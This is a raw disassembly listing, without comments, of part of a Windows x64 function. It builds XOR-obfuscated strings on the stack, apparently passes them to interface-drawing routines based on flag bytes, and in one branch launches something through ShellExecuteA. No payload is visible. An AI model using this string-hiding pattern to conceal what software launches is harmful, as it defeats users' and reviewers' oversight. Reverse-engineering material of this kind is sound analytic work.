jmp 0x140067434
movss dword [rbp + 0x5a8], xmm10
mov qword [rbp + 0x5ac], 0
mov dword [rbp + 0x5b4], 0x3f666666
lea rcx, [rbp + 0x5a8]
lea rdx, [rbp + 0xd2e0]
call fcn.1400ae890
cmp byte [0x14020079f], 0
jne 0x1400676f2
xor ecx, ecx
call fcn.1400837f0
test al, al
je 0x1400676f2
movabs rax, 0xad38c6f0514d37a
mov qword [rbp + 0x25d0], rax
movabs rax, 0x6f15404a0649bf0d
mov qword [rbp + 0x25d8], rax
xorps xmm2, xmm2
movabs rax, 0x63bfed06717dbd33
mov qword [rbp + 0x25f0], rax
movabs rax, 0x6f7a0e6a3c69da77
mov qword [rbp + 0x25f8], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x25f0]
pxor xmm0, xmmword [rbp + 0x25d0]
movdqa xmmword [rbp + 0xa2d0], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0xa2e0], xmm1
lea rax, [rbp + 0xdff0]
lea rcx, [rbp + 0xa2d0]
mov edx, 2
nop dword [rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x1400674e0
movss dword [rsp + 0x20], xmm12
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0xdff0]
lea rcx, [rbp + 0x12c8]
call fcn.1400780a0
movss xmm0, dword [rax]
addss xmm0, dword [0x1401140a8]
movss dword [rbp + 0x238], xmm0
mov dword [rbp + 0x23c], 0x40a00000
lea rcx, [rbp + 0x238]
call fcn.14008d5f0
movabs rax, 0x19d23d4d8aa71022
mov qword [rbp + 0x1bf0], rax
movabs rax, 0xa4c6a580581e947
mov qword [rbp + 0x1bf8], rax
movabs rsi, 0x1fffffffe0000000
mov qword [rbp + 0x1c00], rsi
movabs rax, 0xe000000020060099
mov qword [rbp + 0x1c08], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rcx, 0x779b1d26e9ce7c61
mov qword [rbp + 0x1c30], rcx
movabs rcx, 0x6f36033464e89d2e
mov qword [rbp + 0x1c38], rcx
mov qword [rbp + 0x1c40], rsi
mov qword [rbp + 0x1c48], rax
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x1c30]
pxor xmm0, xmmword [rbp + 0x1bf0]
movdqa xmmword [rbp + 0x73e0], xmm0
movdqa xmm1, xmmword [rbp + 0x1c40]
pxor xmm1, xmmword [rbp + 0x1c00]
movdqa xmmword [rbp + 0x73f0], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x7400], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x7410], xmm3
lea rax, [rbp + 0xd6e0]
lea rcx, [rbp + 0x73e0]
mov edx, 2
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140067660
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movss dword [rbp + 0x5b8], xmm10
movss dword [rbp + 0x5bc], xmm10
movss dword [rbp + 0x5c0], xmm10
mov dword [rbp + 0x5c4], 0x3f666666
lea rdx, [rbp + 0xd6e0]
lea rcx, [rbp + 0x5b8]
call fcn.1400ae890
jmp 0x1400676fc
movabs rsi, 0x1fffffffe0000000
mov dword [rbp + 0x240], 0x40400000
mov dword [rbp + 0x244], 0x41a00000
lea rcx, [rbp + 0x240]
call fcn.14008d5f0
cmp dword [0x14020078c], 0
je 0x1400677c9
movabs rax, 0x5cc10952cdcdb4
mov qword [rbp + 0x9e0], rax
movabs rax, 0x18ad8d1cd98e3702
mov qword [rbp + 0x9e8], rax
movabs rcx, 0x5cc16537b9a3fd
mov qword [rbp + 0x9f0], rcx
mov qword [rbp + 0x9f8], rax
movdqa xmm0, xmmword [rbp + 0x9f0]
pxor xmm0, xmmword [rbp + 0x9e0]
movaps xmmword [rbp + 0x4010], xmm0
movaps xmm0, xmmword [rbp + 0x910]
movaps xmmword [rbp + 0x4020], xmm0
movaps xmm0, xmmword [rbp + 0x920]
movaps xmmword [rbp + 0x4030], xmm0
movaps xmm0, xmmword [rbp + 0x930]
movaps xmmword [rbp + 0x4040], xmm0
movaps xmm0, xmmword [rbp + 0x940]
movaps xmmword [rbp + 0x4050], xmm0
movaps xmm0, xmmword [rbp + 0x950]
movaps xmmword [rbp + 0x4060], xmm0
lea r8, [rbp + 0x4010]
jmp 0x140067842
movabs rax, 0x55ed9a6c04
mov qword [rbp + 0xa00], rax
movabs rax, 0x544e0485d36
mov qword [rbp + 0xa08], rax
movabs rcx, 0x55edfe0145
mov qword [rbp + 0xa10], rcx
mov qword [rbp + 0xa18], rax
movdqa xmm0, xmmword [rbp + 0xa00]
pxor xmm0, xmmword [rbp + 0xa10]
movaps xmmword [rbp + 0x3c40], xmm0
movaps xmm0, xmmword [rbp + 0x50]
movaps xmmword [rbp + 0x3c50], xmm0
movaps xmm0, xmmword [rbp + 0x60]
movaps xmmword [rbp + 0x3c60], xmm0
movaps xmm0, xmmword [rbp + 0x70]
movaps xmmword [rbp + 0x3c70], xmm0
lea r8, [rbp + 0x3c40]
movabs rax, 0xabfbdf907fe6d0a
mov qword [rbp + 0x2610], rax
movabs rax, 0x7140e6d05df03977
mov qword [rbp + 0x2618], rax
xorps xmm1, xmm1
movabs rcx, 0x799a9dc327ab3d49
mov qword [rbp + 0x2630], rcx
mov qword [rbp + 0x2638], rax
xorps xmm2, xmm2
movdqa xmm0, xmmword [rbp + 0x2630]
pxor xmm0, xmmword [rbp + 0x2610]
pxor xmm2, xmm1
movaps xmmword [rbp + 0x4c60], xmm0
movaps xmmword [rbp + 0x4c70], xmm2
movaps xmm0, xmmword [rbp + 0x690]
movaps xmmword [rbp + 0x4c80], xmm0
movaps xmm0, xmmword [rbp + 0x6a0]
movaps xmmword [rbp + 0x4c90], xmm0
movaps xmm0, xmmword [rbp + 0x6b0]
movaps xmmword [rbp + 0x4ca0], xmm0
movaps xmm0, xmmword [rbp + 0x6c0]
movaps xmmword [rbp + 0x4cb0], xmm0
movaps xmm0, xmmword [rbp + 0x6d0]
movaps xmmword [rbp + 0x4cc0], xmm0
movaps xmm0, xmmword [rbp + 0x6e0]
movaps xmmword [rbp + 0x4cd0], xmm0
movaps xmm0, xmmword [rbp + 0x6f0]
movaps xmmword [rbp + 0x4ce0], xmm0
movss dword [rbp + 0x5c8], xmm10
movss dword [rbp + 0x5cc], xmm10
movss dword [rbp + 0x5d0], xmm10
mov dword [rbp + 0x5d4], 0x3f666666
lea rdx, [rbp + 0x4c60]
lea rcx, [rbp + 0x5c8]
call fcn.1400ae890
mov dword [rbp + 0x248], 0x40400000
mov dword [rbp + 0x24c], 0x420c0000
lea rcx, [rbp + 0x248]
call fcn.14008d5f0
movzx r8d, byte [0x14020079c]
test r8b, r8b
je 0x1400679d3
mov qword [rbp + 0xa20], 0x3e4de886
mov qword [rbp + 0xa28], 0xffffffffbbc7ebb6
mov qword [rbp + 0xa30], 0x3e4d86c9
mov qword [rbp + 0xa38], 0xffffffffbbc7ebb6
movdqa xmm0, xmmword [rbp + 0xa20]
pxor xmm0, xmmword [rbp + 0xa30]
movaps xmmword [rbp + 0x3840], xmm0
movaps xmm0, xmmword [rbp + 0x540]
movaps xmmword [rbp + 0x3850], xmm0
movaps xmm0, xmmword [rbp + 0x550]
movaps xmmword [rbp + 0x3860], xmm0
lea r9, [rbp + 0x3840]
jmp 0x140067a4c
movabs rax, 0x577005972b
mov qword [rbp + 0xa40], rax
movabs rax, 0x5770eadf0e7
mov qword [rbp + 0xa48], rax
movabs rcx, 0x577063f164
mov qword [rbp + 0xa50], rcx
mov qword [rbp + 0xa58], rax
movdqa xmm0, xmmword [rbp + 0xa50]
pxor xmm0, xmmword [rbp + 0xa40]
movaps xmmword [rbp + 0x3c00], xmm0
movaps xmm0, xmmword [rbp + 0x50]
movaps xmmword [rbp + 0x3c10], xmm0
movaps xmm0, xmmword [rbp + 0x60]
movaps xmmword [rbp + 0x3c20], xmm0
movaps xmm0, xmmword [rbp + 0x70]
movaps xmmword [rbp + 0x3c30], xmm0
lea r9, [rbp + 0x3c00]
movabs rax, 0x1065e3952af07509
mov qword [rbp + 0x2650], rax
movabs rax, 0x6b82eb1ffb01d824
mov qword [rbp + 0x2658], rax
xorps xmm2, xmm2
movabs rax, 0x790982e05e821c5f
mov qword [rbp + 0x2670], rax
movabs rax, 0x6bf1ce3fc121bd5e
mov qword [rbp + 0x2678], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x2650]
pxor xmm0, xmmword [rbp + 0x2670]
movdqa xmmword [rbp + 0xa020], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0xa030], xmm1
lea rax, [rbp + 0xcfe0]
lea rcx, [rbp + 0xa020]
mov edx, 2
nop dword [rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140067ad0
test r8b, r8b
je 0x140067b4f
mov dword [rbp + 0x5d8], edx
movss dword [rbp + 0x5dc], xmm10
mov dword [rbp + 0x5e0], edx
mov dword [rbp + 0x5e4], 0x3f666666
lea rcx, [rbp + 0x5d8]
jmp 0x140067b74
movss dword [rbp + 0x5e8], xmm10
mov qword [rbp + 0x5ec], 0
mov dword [rbp + 0x5f4], 0x3f666666
lea rcx, [rbp + 0x5e8]
mov r8, r9
lea rdx, [rbp + 0xcfe0]
call fcn.1400ae890
cmp byte [0x14020079c], 0
jne 0x1400680c7
xor ecx, ecx
call fcn.1400837f0
test al, al
je 0x140067ea0
movabs rax, 0x724a39fbc4c809d
mov qword [rbp + 0x1b70], rax
movabs rax, 0x43882b0594849e2
mov qword [rbp + 0x1b78], rax
mov qword [rbp + 0x1b80], rsi
movabs rax, 0xe00000002007f519
mov qword [rbp + 0x1b88], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rcx, 0x6e48c2eac83ee9cb
mov qword [rbp + 0x1bb0], rcx
movabs rcx, 0x625ecd9063682c98
mov qword [rbp + 0x1bb8], rcx
mov qword [rbp + 0x1bc0], rsi
mov qword [rbp + 0x1bc8], rax
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x1b70]
pxor xmm0, xmmword [rbp + 0x1bb0]
movdqa xmmword [rbp + 0x74f0], xmm0
movdqa xmm1, xmmword [rbp + 0x1bc0]
pxor xmm1, xmmword [rbp + 0x1b80]
movdqa xmmword [rbp + 0x7500], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x7510], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x7520], xmm3
lea rax, [rbp + 0xd7f0]
lea rcx, [rbp + 0x74f0]
mov edx, 2
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140067c70
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movss dword [rsp + 0x20], xmm12
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0xd7f0]
lea rcx, [rbp + 0x12d0]
call fcn.1400780a0
movss xmm0, dword [rax]
addss xmm0, xmm7
movss dword [rbp + 0x250], xmm0
mov dword [rbp + 0x254], 0x420c0000
lea rcx, [rbp + 0x250]
call fcn.14008d5f0
movabs rax, 0x83f26ae991605c
mov qword [rbp + 0x1af0], rax
movabs rax, 0x15b8ff34fb173b1a
mov qword [rbp + 0x1af8], rax
movabs rax, 0x134d9b02388e945c
mov qword [rbp + 0x1b00], rax
movabs rax, 0x78b7b9c9f85ac58d
mov qword [rbp + 0x1b08], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x6ff7d2018af80c1f
mov qword [rbp + 0x1b30], rax
movabs rax, 0x61989a429778483a
mov qword [rbp + 0x1b38], rax
movabs rax, 0x7f2ff47048aef134
mov qword [rbp + 0x1b40], rax
movabs rax, 0x78b7b9c9f85aa8e8
mov qword [rbp + 0x1b48], rax
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x1b30]
pxor xmm0, xmmword [rbp + 0x1af0]
movdqa xmmword [rbp + 0xa120], xmm0
movdqa xmm1, xmmword [rbp + 0x1b40]
pxor xmm1, xmmword [rbp + 0x1b00]
movdqa xmmword [rbp + 0xa130], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0xa140], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0xa150], xmm3
lea rax, [rbp + 0x10680]
lea rcx, [rbp + 0xa120]
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140067e00
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movss dword [rbp + 0x5f8], xmm10
movss dword [rbp + 0x5fc], xmm10
movss dword [rbp + 0x600], xmm10
mov dword [rbp + 0x604], 0x3f666666
lea rdx, [rbp + 0x10680]
lea rcx, [rbp + 0x5f8]
call fcn.1400ae890
xor ecx, ecx
call fcn.1400836b0
test al, al
je 0x1400680c7
movabs rax, 0x1f199164bb213cba
mov qword [rbp + 0x1a70], rax
movabs rax, 0x5baecb2f3c1124fd
mov qword [rbp + 0x1a78], rax
movabs rax, 0x1c85034818e78a87
mov qword [rbp + 0x1a80], rax
movabs rax, 0x3459b49e337bb84d
mov qword [rbp + 0x1a88], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x3036ab17cb5548d2
mov qword [rbp + 0x1ab0], rax
movabs rax, 0x3ecce55a48644b84
mov qword [rbp + 0x1ab8], rax
movabs rax, 0x25d4311820b4f0a8
mov qword [rbp + 0x1ac0], rax
movabs rax, 0x3459b49e502bd50b
mov qword [rbp + 0x1ac8], rax
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x1ab0]
pxor xmm0, xmmword [rbp + 0x1a70]
movdqa xmmword [rbp + 0xaa90], xmm0
movdqa xmm1, xmmword [rbp + 0x1a80]
pxor xmm1, xmmword [rbp + 0x1ac0]
movdqa xmmword [rbp + 0xaaa0], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0xaab0], xmm2
pxor xmm5, xmm3
movdqa xmmword [rbp + 0xaac0], xmm5
lea rax, [rbp + 0x104b0]
lea rcx, [rbp + 0xaa90]
mov edx, 3
nop
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140067fa0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movabs rax, 0x60d37f77932f
mov qword [rbp + 0xa60], rax
movabs rax, 0x5f3cee46c9b6fb7
mov qword [rbp + 0xa68], rax
movabs rcx, 0x60d31112e340
mov qword [rbp + 0xa70], rcx
mov qword [rbp + 0xa78], rax
movdqa xmm0, xmmword [rbp + 0xa60]
pxor xmm0, xmmword [rbp + 0xa70]
movaps xmmword [rbp + 0x3ed0], xmm0
movaps xmm0, xmmword [rbp + 0x4f0]
movaps xmmword [rbp + 0x3ee0], xmm0
movaps xmm0, xmmword [rbp + 0x500]
movaps xmmword [rbp + 0x3ef0], xmm0
movaps xmm0, xmmword [rbp + 0x510]
movaps xmmword [rbp + 0x3f00], xmm0
movaps xmm0, xmmword [rbp + 0x520]
movaps xmmword [rbp + 0x3f10], xmm0
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8, [rbp + 0x104b0]
lea rdx, [rbp + 0x3ed0]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [rbp + 0x258], 0x40400000
mov dword [rbp + 0x25c], 0x42480000
lea rcx, [rbp + 0x258]
call fcn.14008d5f0
movzx r8d, byte [0x14020079d]
test r8b, r8b
je 0x14006816f
movabs rax, 0x5aac84d9d8
mov qword [rbp + 0xa80], rax
movabs rax, 0x57a135450f9
mov qword [rbp + 0xa88], rax
movabs rcx, 0x5aace2bf97
mov qword [rbp + 0xa90], rcx
mov qword [rbp + 0xa98], rax
movdqa xmm0, xmmword [rbp + 0xa90]
pxor xmm0, xmmword [rbp + 0xa80]
movaps xmmword [rbp + 0x3bc0], xmm0
movaps xmm0, xmmword [rbp + 0x50]
movaps xmmword [rbp + 0x3bd0], xmm0
movaps xmm0, xmmword [rbp + 0x60]
movaps xmmword [rbp + 0x3be0], xmm0
movaps xmm0, xmmword [rbp + 0x70]
movaps xmmword [rbp + 0x3bf0], xmm0
lea r9, [rbp + 0x3bc0]
jmp 0x1400681d5
mov qword [rbp + 0xaa0], 0x4623ee2f
mov qword [rbp + 0xaa8], 0xffffffffb83c46db
mov qword [rbp + 0xab0], 0x46238060
mov qword [rbp + 0xab8], 0xffffffffb83c46db
movdqa xmm0, xmmword [rbp + 0xaa0]
pxor xmm0, xmmword [rbp + 0xab0]
movaps xmmword [rbp + 0x3870], xmm0
movaps xmm0, xmmword [rbp + 0x540]
movaps xmmword [rbp + 0x3880], xmm0
movaps xmm0, xmmword [rbp + 0x550]
movaps xmmword [rbp + 0x3890], xmm0
lea r9, [rbp + 0x3870]
movabs rax, 0xadb641ad45eaa85
mov qword [rbp + 0x19f0], rax
movabs rax, 0x397caeb677dd0a35
mov qword [rbp + 0x19f8], rax
mov qword [rbp + 0x1a00], rsi
movabs rax, 0xe00000002007da1c
mov qword [rbp + 0x1a08], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rcx, 0x48fb0168a13dcfd6
mov qword [rbp + 0x1a30], rcx
movabs rcx, 0x4a598e8c57a9655a
mov qword [rbp + 0x1a38], rcx
mov qword [rbp + 0x1a40], rsi
mov qword [rbp + 0x1a48], rax
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x1a30]
pxor xmm0, xmmword [rbp + 0x19f0]
movdqa xmmword [rbp + 0x6fa0], xmm0
movdqa xmm1, xmmword [rbp + 0x1a40]
pxor xmm1, xmmword [rbp + 0x1a00]
movdqa xmmword [rbp + 0x6fb0], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x6fc0], xmm2
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x6fd0], xmm5
lea rax, [rbp + 0xd900]
lea rcx, [rbp + 0x6fa0]
mov edx, 2
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x1400682b0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
test r8b, r8b
je 0x140068335
mov dword [rbp + 0x608], edx
movss dword [rbp + 0x60c], xmm10
mov dword [rbp + 0x610], edx
mov dword [rbp + 0x614], 0x3f666666
lea rcx, [rbp + 0x608]
jmp 0x14006835a
movss dword [rbp + 0x618], xmm10
mov qword [rbp + 0x61c], 0
mov dword [rbp + 0x624], 0x3f666666
lea rcx, [rbp + 0x618]
mov r8, r9
lea rdx, [rbp + 0xd900]
call fcn.1400ae890
cmp byte [0x14020079d], 0
jne 0x14006884e
xor ecx, ecx
call fcn.1400837f0
test al, al
je 0x1400686b0
movabs rax, 0x3ce4e161de6c829
mov qword [rbp + 0x1970], rax
movabs rax, 0x32f55f9d49b3fed2
mov qword [rbp + 0x1978], rax
movabs rax, 0x1fffffffe05eea03
mov qword [rbp + 0x1980], rax
movabs rax, 0xe00000001fa55321
mov qword [rbp + 0x1988], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rcx, 0x41ee2b646885ad7a
mov qword [rbp + 0x19b0], rcx
movabs rcx, 0x54ba7fa769c791bd
mov qword [rbp + 0x19b8], rcx
movabs rcx, 0x1fffffffe05eea65
mov qword [rbp + 0x19c0], rcx
mov qword [rbp + 0x19c8], rax
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x1970]
pxor xmm0, xmmword [rbp + 0x19b0]
movdqa xmmword [rbp + 0x7920], xmm0
movdqa xmm1, xmmword [rbp + 0x19c0]
pxor xmm1, xmmword [rbp + 0x1980]
movdqa xmmword [rbp + 0x7930], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x7940], xmm2
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x7950], xmm5
lea rax, [rbp + 0xe220]
lea rcx, [rbp + 0x7920]
mov edx, 2
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140068470
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movss dword [rsp + 0x20], xmm12
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0xe220]
lea rcx, [rbp + 0x12d8]
call fcn.1400780a0
movss xmm0, dword [rax]
addss xmm0, xmm7
movss dword [rbp + 0x260], xmm0
mov dword [rbp + 0x264], 0x42480000
lea rcx, [rbp + 0x260]
call fcn.14008d5f0
movabs rax, 0xf4d2068ac253b21
mov qword [rbp + 0x18f0], rax
movabs rax, 0x328730707a84dd9
mov qword [rbp + 0x18f8], rax
movabs rax, 0x12987bccbb0afe65
mov qword [rbp + 0x1900], rax
movabs rax, 0x6b1c32adde2fc9a3
mov qword [rbp + 0x1908], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x60390003cf4c5762
mov qword [rbp + 0x1930], rax
movabs rax, 0x770816716bc73ef9
mov qword [rbp + 0x1938], rax
movabs rax, 0x7efa14becb2a9b0d
mov qword [rbp + 0x1940], rax
movabs rax, 0x6b1c32adde2fa4c6
mov qword [rbp + 0x1948], rax
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x18f0]
pxor xmm0, xmmword [rbp + 0x1930]
movdqa xmmword [rbp + 0x9e70], xmm0
movdqa xmm1, xmmword [rbp + 0x1940]
pxor xmm1, xmmword [rbp + 0x1900]
movdqa xmmword [rbp + 0x9e80], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x9e90], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x9ea0], xmm3
lea rax, [rbp + 0x10be0]
lea rcx, [rbp + 0x9e70]
mov edx, 3
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140068610
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movss dword [rbp + 0x628], xmm10
movss dword [rbp + 0x62c], xmm10
movss dword [rbp + 0x630], xmm10
mov dword [rbp + 0x634], 0x3f666666
lea rdx, [rbp + 0x10be0]
lea rcx, [rbp + 0x628]
call fcn.1400ae890
xor ecx, ecx
call fcn.1400836b0
test al, al
je 0x14006884e
movabs rax, 0x1b50b9db82d2897e
mov qword [rbp + 0x1870], rax
movabs rax, 0x5b1309d439f0e8e4
mov qword [rbp + 0x1878], rax
movabs rax, 0x6b65f2a0b9e43e5
mov qword [rbp + 0x1880], rax
movabs rax, 0x6f91babf3dbb7550
mov qword [rbp + 0x1888], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x347f83a8f2a6fd16
mov qword [rbp + 0x18b0], rax
movabs rax, 0x3e7127a14d85879d
mov qword [rbp + 0x18b8], rax
movabs rax, 0x6dc5074879a827ca
mov qword [rbp + 0x18c0], rax
movabs rax, 0x6f91babf4aec2364
mov qword [rbp + 0x18c8], rax
